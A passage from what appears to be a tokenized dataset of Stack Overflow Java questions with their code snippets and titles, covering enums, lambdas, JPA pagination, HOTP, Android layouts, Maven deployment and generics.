pauls-Mac-mini : Home paul $ ls -lR lib/securitytotal 704-rw-r -- r -- 1 paul admin 1253 22 Apr 14:56 blacklisted.certs-rw-r -- r -- 1 paul admin 103147 22 Apr 14:56 cacerts-rw-r -- r -- 1 paul admin 8979 22 Apr 16:01 default.policy-rw-r -- r -- 1 paul admin 233897 22 Apr 14:56 public_suffix_list.dat pauls-Mac-mini : Home paul $ pwd/Applications/SongKong.app/Contents/PlugIns/adoptopenjdk-11.jre/Contents/Homepauls-Mac-mini : Home paul $ ls -lR conftotal 0drwxr-xr-x 3 paul admin 96 22 Apr 15:14 securityconf/security : total 0drwxr-xr-x 3 paul admin 96 22 Apr 15:22 policyconf/security/policy : total 0drwxr-xr-x 4 paul admin 128 22 Apr 15:28 unlimitedconf/security/policy/unlimited : total 16-rw-r -- r -- 1 paul admin 146 22 Apr 15:06 default_US_export.policy-rw-r -- r -- 1 paul admin 193 22 Apr 15:06 default_local.policy < string > -Djava.security.policy=/Applications/SongKong.app/Contents/PlugIns/adoptopenjdk-11.jre/Contents/Home/conf.old/security/policy/unlimited/default_local.policy < /string > < string > -Djava.security.policy==/Applications/SongKong.app/Contents/PlugIns/adoptopenjdk-11.jre/Contents/Home/conf.old/security/policy/unlimited/default_local.policy < /string >",Apache HttpClient failing with Java 11 on macOS +Java,I have written a Java enum where the values have various attributes . These attributes could be stored in any of the following ways : Using fields : Using abstract methods : Using class level map : How should I decide when to prefer which ? Thanks !,"enum Eenum { V1 ( p1 ) , V2 ( p2 ) ; private final A attr ; public A attr ( ) { return attr ; } private Eenum ( A attr ) { this.attr = attr ; } } enum Eenum { V1 { public A attr ( ) { return p1 ; } } , V2 { public A attr ( ) { return p2 ; } } public abstract A attr ( ) ; } enum Eenum { V1 , V2 ; public A attr ( ) { return attrs.get ( this ) ; } private static final Map < A > attrs ; static { ImmutableMap.Builder < Eenum , A > builder = ImmutableMap.builder ( ) ; builder.put ( V1 , p1 ) ; builder.put ( V2 , p2 ) ; attrs = builder.build ( ) ; } }","Java enums - choice between fields , abstract methods , and class level map" +Java,"I am getting checkstyle warnings for missing final modifiers when writing lambdas in Java 8 . I want the warnings when writing normal methods , but not in lambdas.For example , summing a list of BigDecimals like this : gives me the following checkstyle warnings : Is there a way to make Checkstyle ignore this only when writing lambdas ?","values.stream ( ) .reduce ( BigDecimal.ZERO , ( a , b ) - > a.add ( b ) ) ; - Variable ' a ' should be declared final.- Variable ' b ' should be declared final .",How can I disable checkstyle warnings for missing final modifiers on lambdas ? +Java,"I 'm trying to refactor this code to use a lambda instead of anonymous class . It 's a simple list of items in a GUI . I register a different listener to each item , and the last item created does something special when clicked.It works as expected : Now I change it to use a lambda instead of anonymous class : But now it no longer does anything special on the last item ? Why ? Does == work differently with lambdas ? I thought it was a bug in retrolambda at first , but this example is running on plain JDK8 and it still happens .",class ItemList { interface OnClickListener { void onClick ( ) ; } OnClickListener current ; OnClickListener newListener ( final int n ) { return current = new OnClickListener ( ) { public void onClick ( ) { if ( this == current ) System.out.println ( `` doing something special ( item # '' +n+ '' ) '' ) ; System.out.println ( `` selected item # '' + n ) ; } } ; } public static void main ( String [ ] args ) { ItemList l = new ItemList ( ) ; OnClickListener ocl1 = l.newListener ( 1 ) ; OnClickListener ocl2 = l.newListener ( 2 ) ; OnClickListener ocl3 = l.newListener ( 3 ) ; ocl1.onClick ( ) ; ocl2.onClick ( ) ; ocl3.onClick ( ) ; } } $ javac ItemList.java & & java ItemListselected item # 1selected item # 2doing something special ( item # 3 ) selected item # 3 class ItemList { interface OnClickListener { void onClick ( ) ; } OnClickListener current ; OnClickListener newListener ( final int n ) { return current = ( ) - > { if ( this == current ) System.out.println ( `` doing something special ( item # '' +n+ '' ) '' ) ; System.out.println ( `` selected item # '' + n ) ; } ; } public static void main ( String [ ] args ) { ItemList l = new ItemList ( ) ; OnClickListener ocl1 = l.newListener ( 1 ) ; OnClickListener ocl2 = l.newListener ( 2 ) ; OnClickListener ocl3 = l.newListener ( 3 ) ; ocl1.onClick ( ) ; ocl2.onClick ( ) ; ocl3.onClick ( ) ; } } $ javac A.java & & java Aselected item # 1selected item # 2selected item # 3,Code behaves different after converting anonymous class to lambda +Java,"While debugging I would like to change value in HashMap ( map name : params ) . There is : `` charset '' - > `` ISO-8859-1 '' . When I try to set value ( F2 ) and type : `` charset '' - > `` UTF-8 '' then error message is : Invalid expression : - > . When I try to open `` charset '' - > `` ISO-8859-1 '' then there is : but set value ( F2 ) on value = `` ISO-8859-1 '' does n't work , it 's greyed out . When I open `` value '' = '' ISO-8859-1 '' then I see : Is there a chance to change value in HashMap to set some different value instead of ISO-8859-1 which already is there .",key = `` charset '' value = `` ISO-8859-1 '' value= { char [ 10 ] 31444 } hash=20129143423,Set value in Map while debugging in IntelliJ Idea +Java,"I would like to implement pagination in my Servlet/EJB/JPA-Hibernate project , but I ca n't figure out how only one page from the query and know the number of pages I must displayI use and that 's working alright , but how can I know how many pages I will have in total ? ( Hibernate is my JPA provider , but I would prefer using only JPA if possible ) UPDATE : COUNT ( ) seems to be the better/easiest solution ; but what can be the cost of SELECT COUNT ( * ) FROM ... in comparison with executeQuery ( `` SELECT * FROM ... ) .getListResult ( ) .size ( ) ?",setFirstResult ( int first ) ; setMaxResults ( int max ) ;,How can we compute the LAST page with JPA ? +Java,"I 'm trying to implement HOTP ( rfc-4226 ) in Golang and I 'm struggling to generate a valid HOTP . I can generate it in java but for some reason my implementation in Golang is different . Here are the samples : and in Go : I believe the issue is that the Java line : ByteBuffer.allocate ( 8 ) .putLong ( counter ) .array ( ) ; generates a different byte array than the Go line : binary.BigEndian.PutUint64 ( bs , counter ) .In Java , the following byte array is generated : 83 -116 -9 -98 115 -126 -3 -48 and in Go : 83 140 247 158 115 130 253 207.Does anybody know the difference in the two lines and how I can port the java line to go ?","public static String constructOTP ( final Long counter , final String key ) throws NoSuchAlgorithmException , DecoderException , InvalidKeyException { final Mac mac = Mac.getInstance ( `` HmacSHA512 '' ) ; final byte [ ] binaryKey = Hex.decodeHex ( key.toCharArray ( ) ) ; mac.init ( new SecretKeySpec ( binaryKey , `` HmacSHA512 '' ) ) ; final byte [ ] b = ByteBuffer.allocate ( 8 ) .putLong ( counter ) .array ( ) ; byte [ ] computedOtp = mac.doFinal ( b ) ; return new String ( Hex.encodeHex ( computedOtp ) ) ; } func getOTP ( counter uint64 , key string ) string { str , err : = hex.DecodeString ( key ) if err ! = nil { panic ( err ) } h : = hmac.New ( sha512.New , str ) bs : = make ( [ ] byte , 8 ) binary.BigEndian.PutUint64 ( bs , counter ) h.Write ( bs ) return base64.StdEncoding.EncodeToString ( h.Sum ( nil ) ) }",Java vs. Golang for HOTP ( rfc-4226 ) +Java,"While reading through Java 8 's Integer class , I come upon the following FIX-ME : ( line 379 ) The entire comment reads : I can not imagine that I should be worried about this , as this has been present for quite a while.But , can someone shed light on what this FIX-ME means and if has any side-effects ? Side notes : I see this has been removed from the JDK 10The paper referenced in the link does not seem to address to address the issue directly .","// TODO-FIXME : convert ( x * 52429 ) into the equiv shift-add// sequence . // I use the `` [ invariant division by multiplication ] [ 2 ] '' trick to// accelerate Integer.toString . In particular we want to// avoid division by 10.//// The `` trick '' has roughly the same performance characteristics// as the `` classic '' Integer.toString code on a non-JIT VM.// The trick avoids .rem and .div calls but has a longer code// path and is thus dominated by dispatch overhead . In the// JIT case the dispatch overhead does n't exist and the// `` trick '' is considerably faster than the classic code.//// TODO-FIXME : convert ( x * 52429 ) into the equiv shift-add// sequence.//// RE : Division by Invariant Integers using Multiplication// T Gralund , P Montgomery// ACM PLDI 1994//",TODO-FIXME : In Java 8 's Integer class ? +Java,"The ideaI need to create Commands . Commands can be configured with parameters.Not every command can receive the same parameters . So some have to be ignored.I have an abstract class Command in which I 've defined a Builder . By default every append parameter throws 'UnsupportedOperationException'If you want a parameter to be applicable onto a certain concrete Command , lets say an FTPCommand.You will have to do something like this : So that when a URLParameter is provided it does n't throw an exception anymore but instead applies it.But the client of this CommandBuilder might not be able to provide the concrete subclass . So in general a `` Parameter '' is given . But it needs to go to the right place ( method ) Like a URLParameter must arrive at the append ( UrlParameter p ) How can I do this in a clean ( er ) and nice ( r ) way ? Because I 'm not really 'enthousiastic ' to use instanceof .",public abstract class Command { public static abstract class CommandBuilder { // TODO instanceof . How to do this better ? public CommandBuilder append ( Parameter p ) throws UnsupportedOperationException { if ( p instanceof URLParameter ) return append ( ( URLParameter ) p ) ; if ( p instanceof ActionParameter ) return append ( ( ActionParameter ) p ) ; if ( p instanceof RepeatParameter ) return append ( ( RepeatParameter ) p ) ; if ( p instanceof TimeOutParameter ) return append ( ( TimeOutParameter ) p ) ; return this ; } public CommandBuilder append ( URLParameter p ) throws UnsupportedOperationException { throw new UnsupportedOperationException ( `` URLParameter not applicable '' ) ; } public CommandBuilder append ( RepeatParameter p ) throws UnsupportedOperationException { throw new UnsupportedOperationException ( `` RepeatParameter not applicable '' ) ; } ... } public class FTPCommand extends Command { public static class Builder extends CommandBuilder { @ Override public CommandBuilder append ( URLParameter p ) { System.out.println ( `` URLParemeter appended '' ) ; return this ; } } },How to get rid of instanceof in this Builder implementation +Java,"I 'm trying to render a line , but if line starts outside the real canvas bounds , I get strange behavior.For example , I sometimes get this image instead of a proper line : Proper line would have looked like this : Here 's the runnable code to generate this sample : I tried using lots of different rendering hints , but no combination gets rid of this problem . What could be the culprit ? Edit : Here 's the image with RenderingHints.VALUE_STROKE_NORMALIZE : Scaled version of the image ( g.scale ( 10,10 ) ) :","import java.awt.image . * ; import javax.imageio.ImageIO ; import java.io.File ; import java.awt . * ; import java.awt.geom . * ; public class Render { public static void main ( String [ ] args ) throws Exception { BufferedImage image = new BufferedImage ( 100 , 100 , BufferedImage.TYPE_INT_ARGB ) ; Graphics2D g = ( Graphics2D ) image.getGraphics ( ) ; g.setRenderingHint ( RenderingHints.KEY_ANTIALIASING , RenderingHints.VALUE_ANTIALIAS_ON ) ; g.setRenderingHint ( RenderingHints.KEY_STROKE_CONTROL , RenderingHints.VALUE_STROKE_PURE ) ; g.setRenderingHint ( RenderingHints.KEY_RENDERING , RenderingHints.VALUE_RENDER_QUALITY ) ; g.setColor ( Color.WHITE ) ; g.fillRect ( 0 , 0 , 100 , 100 ) ; g.setColor ( Color.BLACK ) ; g.setStroke ( new BasicStroke ( 2 ) ) ; g.draw ( new Line2D.Double ( -92 , 37 , 88 , 39 ) ) ; g.dispose ( ) ; ImageIO.write ( image , `` png '' , new File ( `` output.png '' ) ) ; } }",Why is this line rendered without proper antialiasing ? +Java,"Could someone explain why this works . I have 2 classes in Eclipse.A Class called `` Car '' contains the following code.. and another class , which is where my 'main ' is , is called `` House '' , the code inside it isWhen I run the code , it works , it writes `` Enter name here '' and when I type it out , it proceeds to say `` Hello `` name entered '' `` My question is , do 'variable1 ' and 'variable2 ' have any relation to eachother , other than that they 're both of String class . because i 'm confused as to why the code compiles correctly . To me , it looks like variable 1 has no correlation to variable2 , even though they 're both of String class , it does n't look like they ever interact with one another , and variable1 is n't used in the `` House '' class at all , yet it still knows to compile whatever I 've entered.It 's as if 'variable1 ' is replaced by 'variable2 ' and whatever variable2 contains gets printed out .",public class Car { public void printOut ( String variable1 ) { System.out.println ( `` Hello `` +variable1 ) ; } } import java.util.Scanner ; class House { public static void main ( String args [ ] ) { Scanner input = new Scanner ( System.in ) ; Car carObject = new Car ( ) ; System.out.println ( `` Enter name here : `` ) ; String variable2 = input.nextLine ( ) ; carObject.printOut ( variable2 ) ; } },Methods with Parameters in Java +Java,"I have a CustomView and an Image view . The CustomView is a ball that moves around the screen and bounces off the walls . The Image is a quarter circle that you can rotate in a circle on touch . I am trying to make my game so that when the filled pixels from the CustomView cross paths with the Filled pixels from the ImageView a collision is detected . The problem that I am having is I do not know how to retrieve where the filled pixels are on each view.Here is my XML codeMy MainActivityMyOnTouchListener class : And my AnimatedViewMy question is : How can I retrieve the filled pixels from both of these views , and pass them through a function that detects a collision . Thanks in advance for the help ! : )","< com.leytontaylor.bouncyballz.AnimatedView android : id= '' @ +id/anim_view '' android : layout_height= '' fill_parent '' android : layout_width= '' fill_parent '' / > < ImageView android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : id= '' @ +id/quartCircle '' android : layout_gravity= '' center_horizontal '' android : src= '' @ drawable/quartercircle '' android : scaleType= '' matrix '' / > public class MainActivity extends AppCompatActivity { private static Bitmap imageOriginal , imageScaled ; private static Matrix matrix ; private ImageView dialer ; private int dialerHeight , dialerWidth ; @ Overridepublic void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; // load the image only once if ( imageOriginal == null ) { imageOriginal = BitmapFactory.decodeResource ( getResources ( ) , R.drawable.quartercircle ) ; } // initialize the matrix only once if ( matrix == null ) { matrix = new Matrix ( ) ; } else { // not needed , you can also post the matrix immediately to restore the old state matrix.reset ( ) ; } dialer = ( ImageView ) findViewById ( R.id.quartCircle ) ; dialer.setOnTouchListener ( new MyOnTouchListener ( ) ) ; dialer.getViewTreeObserver ( ) .addOnGlobalLayoutListener ( new ViewTreeObserver.OnGlobalLayoutListener ( ) { @ Override public void onGlobalLayout ( ) { // method called more than once , but the values only need to be initialized one time if ( dialerHeight == 0 || dialerWidth == 0 ) { dialerHeight = dialer.getHeight ( ) ; dialerWidth = dialer.getWidth ( ) ; // resize Matrix resize = new Matrix ( ) ; resize.postScale ( ( float ) Math.min ( dialerWidth , dialerHeight ) / ( float ) imageOriginal.getWidth ( ) , ( float ) Math.min ( dialerWidth , dialerHeight ) / ( float ) imageOriginal.getHeight ( ) ) ; imageScaled = Bitmap.createBitmap ( imageOriginal , 0 , 0 , imageOriginal.getWidth ( ) , imageOriginal.getHeight ( ) , resize , false ) ; // translate to the image view 's center float translateX = dialerWidth / 2 - imageScaled.getWidth ( ) / 2 ; float translateY = dialerHeight / 2 - imageScaled.getHeight ( ) / 2 ; matrix.postTranslate ( translateX , translateY ) ; dialer.setImageBitmap ( imageScaled ) ; dialer.setImageMatrix ( matrix ) ; } } } ) ; } private class MyOnTouchListener implements View.OnTouchListener { private double startAngle ; @ Override public boolean onTouch ( View v , MotionEvent event ) { switch ( event.getAction ( ) ) { case MotionEvent.ACTION_DOWN : startAngle = getAngle ( event.getX ( ) , event.getY ( ) ) ; break ; case MotionEvent.ACTION_MOVE : double currentAngle = getAngle ( event.getX ( ) , event.getY ( ) ) ; rotateDialer ( ( float ) ( startAngle - currentAngle ) ) ; startAngle = currentAngle ; break ; case MotionEvent.ACTION_UP : break ; } return true ; } } private double getAngle ( double xTouch , double yTouch ) { double x = xTouch - ( dialerWidth / 2d ) ; double y = dialerHeight - yTouch - ( dialerHeight / 2d ) ; switch ( getQuadrant ( x , y ) ) { case 1 : return Math.asin ( y / Math.hypot ( x , y ) ) * 180 / Math.PI ; case 2 : return 180 - Math.asin ( y / Math.hypot ( x , y ) ) * 180 / Math.PI ; case 3 : return 180 + ( -1 * Math.asin ( y / Math.hypot ( x , y ) ) * 180 / Math.PI ) ; case 4 : return 360 + Math.asin ( y / Math.hypot ( x , y ) ) * 180 / Math.PI ; default : return 0 ; } } /** * @ return The selected quadrant . */private static int getQuadrant ( double x , double y ) { if ( x > = 0 ) { return y > = 0 ? 1 : 4 ; } else { return y > = 0 ? 2 : 3 ; } } /** * Rotate the dialer . * * @ param degrees The degrees , the dialer should get rotated . */private void rotateDialer ( float degrees ) { matrix.postRotate ( degrees , dialerWidth / 2 , dialerHeight / 2 ) ; dialer.setImageMatrix ( matrix ) ; } public class AnimatedView extends ImageView { private Context mContext ; int x = -1 ; int y = -1 ; private int xVelocity = 10 ; private int yVelocity = 5 ; private Handler h ; private final int FRAME_RATE = 60 ; public AnimatedView ( Context context , AttributeSet attrs ) { super ( context , attrs ) ; mContext = context ; h = new Handler ( ) ; } private Runnable r = new Runnable ( ) { @ Override public void run ( ) { invalidate ( ) ; } } ; protected void onDraw ( Canvas c ) { BitmapDrawable ball = ( BitmapDrawable ) mContext.getResources ( ) .getDrawable ( R.drawable.smallerball ) ; if ( x < 0 & & y < 0 ) { x = this.getWidth ( ) /2 ; y = this.getHeight ( ) /2 ; } else { x += xVelocity ; y += yVelocity ; if ( ( x > this.getWidth ( ) - ball.getBitmap ( ) .getWidth ( ) ) || ( x < 0 ) ) { xVelocity = xVelocity*-1 ; } if ( ( y > this.getHeight ( ) - ball.getBitmap ( ) .getHeight ( ) ) || ( y < 0 ) ) { yVelocity = yVelocity*-1 ; } } c.drawBitmap ( ball.getBitmap ( ) , x , y , null ) ; h.postDelayed ( r , FRAME_RATE ) ; } public float getX ( ) { return x ; } public float getY ( ) { return y ; } }",Pixel Perfect Collision detection between a custom view and an ImageView +Java,"In interview it was ask that there is a Class A which does not implement the serializable interface as shown belowand there is a class B which extends A and also implements the serializable interfaceNow please advise whether I can serialize class B or not , provided that class A is not serialized suppose I want to serialize the object of class B , can it be done .","class A { private int a ; A ( int a ) { this.a = a ; } } class B extends A implements serializable { private int a , b ; B ( int a , int b ) { this.a = a ; this.b = b ; } }",Serialization among subclass +Java,I was going through Java 7 features and they talked about java.util.Objects class.What I am failing to understand is what is the functional difference betweeAll I could see extra was a null check and functional notation instead of OOP style . What am I missing ?,java.util.Objects.toString ( foo ) vsfoo == null ? `` `` : foo.toString ( ),When to use 'java.util.Objects . * ' ? +Java,"I tried to compile the following code : But I get this error : `` Foo.this can not be referenced from a static context . `` Specifically , I get it on the `` T '' in bar ( T t ) . However foo ( T t ) does not produce the same error . I do n't understand why that 's a static context and what the error really means .",public interface Foo < T > { public interface Bar { public void bar ( T t ) ; } void foo ( T t ) ; },Why ca n't I use generics in an inner interface ? +Java,"In Java , How to parse `` Wed , 05 Jun 2013 00:48:12 GMT '' into a Date object , then print the date object out in the same format.I have tried this : The result is Thanks in advance :","String dStr= `` Wed , 05 Jun 2013 00:48:12 GMT '' ; SimpleDateFormat ft = new SimpleDateFormat ( `` E , dd MMM yyyy hh : mm : ss ZZZ '' ) ; Date t = ft.parse ( dStr ) ; System.out.println ( t ) ; System.out.println ( ft.format ( t ) ) ; Wed Jun 05 10:48:12 EST 2013Wed , 05 Jun 2013 10:48:12 +1000",How to parse a Formatted String into Date object in Java +Java,"I have a productList maintained in a file named Products.javaNow creating a synchronized list , will ensure that operations like add/remove will have a implicit lock and I do n't need to lock these operations explicitily.I have a function exposed which returns an unmodifiableList of this list.In my application , various threads can call this function at the same time . So do I need to put a synchronized block when converting a List into an unmodifiable List or will this be already taken care of since I am using a sychronizedList ? TIA .",private List < String > productList = Collections.synchronizedList ( new ArrayList ( ) ) ; public List getProductList ( ) { return Collections.unmodifiableList ( productList ) ; },Does Collections.unmodifiableList ( list ) require a lock ? +Java,"When I access a jsp page like this on an appengine development server : localhost:8888/index.jsp/it 's displaying the source code of index.jsp in the browser . if you access without the trailing slash ( i.e . index.jsp ) then it renders jsp but with the trailing slash ( i.e . index.jsp/ ) it displays the source codeAny idea why is this ? and how to fix it ? It seems to happen only in development server and not in production . Production gives a 404 Not Found error , which is fine.I am using SDK 1.6.4web.xml : ==========so ... index.jsp - > renders pageindex.jsp/ - > returns source coderegister.jsp/ - > returns source coderegister.jsp - > renders jspsignup/ - > renders register.jspsignup - > renders register.jspso it seems like it 's the urls with *.jsp/ that have the issue",< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //java.sun.com/xml/ns/javaee '' xmlns : web= '' http : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/javaeehttp : //java.sun.com/xml/ns/javaee/web-app_2_5.xsd '' version= '' 2.5 '' > < servlet > < servlet-name > RegisterPage < /servlet-name > < jsp-file > /register.jsp < /jsp-file > < /servlet > < servlet-mapping > < servlet-name > RegisterPage < /servlet-name > < url-pattern > /signup < /url-pattern > < /servlet-mapping > < welcome-file-list > < welcome-file > index.jsp < /welcome-file > < /welcome-file-list > < /web-app >,appengine java development server displaying source code +Java,"I am deploying an artifact to a Nexus snapshot repository that allows redeployment , using the maven command : but I have this error :",mvn deploy : deploy-file -Durl=https : //nexus.perque.com/repo/browse/pont-aeri -DrepositoryId=tomcat-nexus.devops-snapshots -DgroupId=com.pont.aeri.pastis -DartifactId=pastis -Dversion=0.0.1-SNAPSHOT -Dpackaging=zip -Dfile=D : \Users\pastis\IdeaProjects\pastis\pastis-web\target\pastis.war rds/0.0.2/pastis.zip 405 Method Not Allowed at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:215 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( Sin,405 Method Not Allowed when deploying artifact to Nexus +Java,I 'm using ScrimInsetsFrameLayout to get the Navigation Drawer on the ToolBar with the StatusBar on it so I followed the guide and read a lot about it but there 's something wrong even if I 'm not missing anything.Whenever I click one ( of the four ) activity in the drawer_listView or the ic_drawer the app force closes without messages in the Logcat.MainActivitymy_activity.xml : My problem is limited to my_activity.xml . Please help me I ca n't go on with my project . [ Update ] I made my layout exactly like he did https : //github.com/google/iosched/blob/master/android/src/main/res/layout/activity_map.xml but **why I 'm not getting the same result ? ! **,"public class MainActivity extends ActionBarActivity { DrawerLayout mDrawerLayout ; ListView mDrawerList ; ActionBarDrawerToggle mDrawerToggle ; String [ ] mDrawerListItems ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_my ) ; Toolbar toolbar = ( Toolbar ) findViewById ( R.id.toolbar ) ; mDrawerLayout = ( DrawerLayout ) findViewById ( R.id.drawer ) ; mDrawerLayout.setStatusBarBackgroundColor ( getResources ( ) .getColor ( R.color.primaryDark ) ) ; mDrawerList = ( ListView ) findViewById ( android.R.id.list ) ; mDrawerListItems = getResources ( ) .getStringArray ( R.array.drawer_list ) ; mDrawerList.setAdapter ( new ArrayAdapter < > ( this , android.R.layout.simple_list_item_1 , mDrawerListItems ) ) ; mDrawerList.setOnItemClickListener ( new AdapterView.OnItemClickListener ( ) { @ Override public void onItemClick ( AdapterView < ? > parent , View view , int position , long id ) { openFragment ( position ) ; } } ) ; mDrawerToggle = new ActionBarDrawerToggle ( this , mDrawerLayout , toolbar , R.string.drawer_open , R.string.drawer_close ) { public void onDrawerClosed ( View v ) { super.onDrawerClosed ( v ) ; invalidateOptionsMenu ( ) ; syncState ( ) ; } public void onDrawerOpened ( View v ) { super.onDrawerOpened ( v ) ; invalidateOptionsMenu ( ) ; syncState ( ) ; } } ; mDrawerLayout.setDrawerListener ( mDrawerToggle ) ; setSupportActionBar ( toolbar ) ; getSupportActionBar ( ) .setDisplayHomeAsUpEnabled ( true ) ; getSupportActionBar ( ) .setHomeButtonEnabled ( true ) ; mDrawerToggle.syncState ( ) ; } protected void openFragment ( int position ) { mDrawerLayout.closeDrawer ( mDrawerList ) ; switch ( position ) { case 0 : startActivity ( new Intent ( this , WIND.class ) ) ; break ; case 1 : startActivity ( new Intent ( this , GEO.class ) ) ; break ; case 2 : startActivity ( new Intent ( this , COMPASS.class ) ) ; break ; case 3 : startActivity ( new Intent ( this , BARO_ALTI.class ) ) ; break ; default : break ; } } @ Overrideprotected void onPostCreate ( Bundle savedInstanceState ) { super.onPostCreate ( savedInstanceState ) ; mDrawerToggle.syncState ( ) ; } @ Overridepublic void onConfigurationChanged ( Configuration newConfig ) { super.onConfigurationChanged ( newConfig ) ; mDrawerToggle.onConfigurationChanged ( newConfig ) ; } @ Overridepublic boolean onOptionsItemSelected ( MenuItem item ) { switch ( item.getItemId ( ) ) { case android.R.id.home : { if ( mDrawerLayout.isDrawerOpen ( mDrawerList ) ) { mDrawerLayout.closeDrawer ( mDrawerList ) ; } else { mDrawerLayout.openDrawer ( mDrawerList ) ; } return true ; } default : return super.onOptionsItemSelected ( item ) ; } } < ? xml version= '' 1.0 '' ? > < android.support.v4.widget.DrawerLayout xmlns : tools= '' http : //schemas.android.com/tools '' xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : id= '' @ +id/drawer '' tools : context= '' .MainActivity '' android : fitsSystemWindows= '' true '' > < FrameLayout android : orientation= '' vertical '' android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' > < android.support.v7.widget.Toolbar android : layout_height= '' ? attr/actionBarSize '' android : layout_width= '' match_parent '' app : popupTheme= '' @ style/Theme.AppCompat '' app : theme= '' @ style/ToolbarTheme '' android : background= '' @ color/primary '' android : id= '' @ +id/toolbar '' / > < FrameLayout android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : id= '' @ +id/content_frame '' > < /FrameLayout > < /FrameLayout > < beta_toolbox.pier.beta_toolbox.ScrimInsetsFrameLayout xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/linearLayout '' android : layout_width= '' 304dp '' android : layout_height= '' match_parent '' android : layout_gravity= '' start '' android : fitsSystemWindows= '' true '' app : insetForeground= '' # 4000 '' > < ListView android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : background= '' # ffffffff '' android : divider= '' # ffffffff '' android : dividerHeight= '' 8dp '' android : id= '' @ android : id/list '' android : layout_gravity= '' start '' android : scrollbars= '' none '' / > < /beta_toolbox.pier.beta_toolbox.ScrimInsetsFrameLayout > < ? xml version= '' 1.0 '' ? > < android.support.v4.widget.DrawerLayout xmlns : tools= '' http : //schemas.android.com/tools '' xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : id= '' @ +id/drawer '' tools : context= '' .MainActivity '' android : fitsSystemWindows= '' true '' > < beta_toolbox.pier.beta_toolbox.ScrimInsetsFrameLayout xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/linearLayout '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : fitsSystemWindows= '' true '' app : insetForeground= '' # 4000 '' > < FrameLayout android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : id= '' @ +id/content_frame '' > < /FrameLayout > < android.support.v7.widget.Toolbar android : layout_height= '' ? attr/actionBarSize '' android : layout_width= '' match_parent '' app : popupTheme= '' @ style/Theme.AppCompat '' app : theme= '' @ style/ToolbarTheme '' android : background= '' @ color/primary '' android : id= '' @ +id/toolbar '' / > < /beta_toolbox.pier.beta_toolbox.ScrimInsetsFrameLayout > < ListView android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : background= '' # ffffffff '' android : divider= '' # ffffffff '' android : dividerHeight= '' 8dp '' android : id= '' @ android : id/list '' android : layout_gravity= '' start '' android : scrollbars= '' none '' / > < /android.support.v4.widget.DrawerLayout >",Getting an error using ScrimInsetFrameLayout +Java,Given the following code : which outputs : Why do JavaScript and JQuery appear in the filtered result even though they were added after creating the filtered stream ?,"List < String > strList = new ArrayList < > ( Arrays.asList ( `` Java '' , '' Python '' , '' Php '' ) ) ; Stream < String > jFilter = strList.stream ( ) .filter ( str - > str.startsWith ( `` J '' ) ) ; strList.add ( `` JavaScript '' ) ; // element added after filter creationstrList.add ( `` JQuery '' ) ; // element added after filter creationSystem.out.println ( Arrays.toString ( jFilter.toArray ( ) ) ) ; [ Java , JavaScript , JQuery ]",Considering list elements that are added after filtered stream creation +Java,"It seems that element.add ( ) does n't return an E extends Addable but rather an Object . Why is that ? Has it anything to do with Java not knowing at run-time what the object types really are , so it just assumes them to be Objects ( thus requiring a cast ) ? Thanks",interface Addable < E > { public E add ( E x ) ; public E sub ( E y ) ; public E zero ( ) ; } class SumSet < E extends Addable > implements Set < E > { private E element ; public SumSet ( E element ) { this.element = element ; } public E getSum ( ) { return element.add ( element.zero ( ) ) ; } },What is the problem with this Java code dealing with Generics ? +Java,"I am getting an concurrentModificationException , But with normal for loop . I am not getting any exception.in normal forloop like : -",ArrayList < Integer > targets = new ArrayList < Integer > ( ) ; targets.add ( 2 ) ; targets.add ( 2 ) ; for ( Integer testInt : targets ) { targets.add ( 1 ) ; } for ( int i=0 ; i < target.size ( ) ; i++ ) { System.out.println ( target.get ( i ) ) ; target.add ( 22 ) ; //no exception target.remove ( 2 ) // no exception },why concurrent modification on foreach method but not on for loop +Java,"How do you create a generic class that refers to nested generic types ? I 'm trying to create a Comparator class which can compare the inner types of B without wanting to expose what those types are . In the following example I get a compiler warning for raw casting my T inner nested values to Comparable : Is it possible to represent the inner values using to safely allow casting ? Things I 've tried : Creating a wildcard comparable ( uncompilable ) : Declaring a secondary generic parameter type ( U ) , which simply postpones the problem : This comparator is n't to compare two instances of the classes A , rather part of their contents .","public class SSCCE { // Compare my A instances . class AComparator < T extends B > implements Comparator < T > { @ Override public int compare ( final T o1 , final T o2 ) { return o1.getValue ( ) .compareTo ( o2.getValue ( ) ) ; } } class A extends B < Integer > { @ Override Integer getValue ( ) { return 1 ; } } class A2 extends B < String > { @ Override String getValue ( ) { return `` Test String ! `` ; } } abstract class B < T extends Comparable < T > > { abstract T getValue ( ) ; } public static void main ( String [ ] args ) { SSCCE sscce = new SSCCE ( ) ; AComparator < A > comparator = sscce.new AComparator < > ( ) ; comparator.compare ( sscce.new A 